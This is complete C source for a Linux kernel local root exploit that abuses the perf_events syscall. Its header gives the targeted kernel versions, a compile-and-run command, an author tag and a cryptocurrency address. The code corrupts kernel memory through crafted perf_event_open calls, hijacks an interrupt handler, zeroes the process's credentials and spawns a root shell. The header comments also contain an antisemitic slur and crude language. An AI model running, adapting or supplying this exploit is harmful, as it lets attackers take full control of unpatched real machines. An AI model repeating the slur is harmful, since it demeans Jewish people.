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- /*
- * linux 2.6.37-3.x.x x86_64, ~100 LOC
- * gcc-4.6 -O2 semtex.c && ./a.out
- * 2010 sd@fucksheep.org, salut!
- *
- * update may 2013:
- * seems like centos 2.6.32 backported the perf bug, lol.
- * jewgold to 115T6jzGrVMgQ2Nt1Wnua7Ch1EuL9WXT2g if you insist.
- */
- #define _GNU_SOURCE 1
- #include <stdint.h>
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <unistd.h>
- #include <sys/mman.h>
- #include <syscall.h>
- #include <stdint.h>
- #include <assert.h>
- #define BASE 0x380000000
- #define SIZE 0x010000000
- #define KSIZE 0x2000000
- #define AB(x) ((uint64_t)((0xababababLL<<32)^((uint64_t)((x)*313337))))
- void fuck() {
- int i,j,k;
- uint64_t uids[4] = { AB(2), AB(3), AB(4), AB(5) };
- uint8_t *current = *(uint8_t **)(((uint64_t)uids) & (-8192));
- uint64_t kbase = ((uint64_t)current)>>36;
- uint32_t *fixptr = (void*) AB(1);
- *fixptr = -1;
- for (i=0; i<4000; i+=4) {
- uint64_t *p = (void *)¤t[i];
- uint32_t *t = (void*) p[0];
- if ((p[0] != p[1]) || ((p[0]>>36) != kbase)) continue;
- for (j=0; j<20; j++) { for (k = 0; k < 8; k++)
- if (((uint32_t*)uids)[k] != t[j+k]) goto next;
- for (i = 0; i < 8; i++) t[j+i] = 0;
- for (i = 0; i < 10; i++) t[j+9+i] = -1;
- return;
- next:; }
- }
- }
- void sheep(uint32_t off) {
- uint64_t buf[10] = { 0x4800000001,off,0,0,0,0x300 };
- int fd = syscall(298, buf, 0, -1, -1, 0);
- assert(!close(fd));
- }
- int main() {
- uint64_t u,g,needle, kbase, *p; uint8_t *code;
- uint32_t *map, j = 5;
- int i;
- struct {
- uint16_t limit;
- uint64_t addr;
- } __attribute__((packed)) idt;
- assert((map = mmap((void*)BASE, SIZE, 3, 0x32, 0,0)) == (void*)BASE);
- memset(map, 0, SIZE);
- sheep(-1); sheep(-2);
- for (i = 0; i < SIZE/4; i++) if (map[i]) {
- assert(map[i+1]);
- break;
- }
- assert(i<SIZE/4);
- asm ("sidt %0" : "=m" (idt));
- kbase = idt.addr & 0xff000000;
- u = getuid(); g = getgid();
- assert((code = (void*)mmap((void*)kbase, KSIZE, 7, 0x32, 0, 0)) == (void*)kbase);
- memset(code, 0x90, KSIZE); code += KSIZE-1024; memcpy(code, &fuck, 1024);
- memcpy(code-13,"\x0f\x01\xf8\xe8\5\0\0\0\x0f\x01\xf8\x48\xcf",
- printf("2.6.37-3.x x86_64\nsd@fucksheep.org 2010\n") % 27);
- setresuid(u,u,u); setresgid(g,g,g);
- while (j--) {
- needle = AB(j+1);
- assert(p = memmem(code, 1024, &needle, 8));
- if (!p) continue;
- *p = j?((g<<32)|u):(idt.addr + 0x48);
- }
- sheep(-i + (((idt.addr&0xffffffff)-0x80000000)/4) + 16);
- asm("int $0x4"); assert(!setuid(0));
- return execl("/bin/bash", "-sh", NULL);
- }
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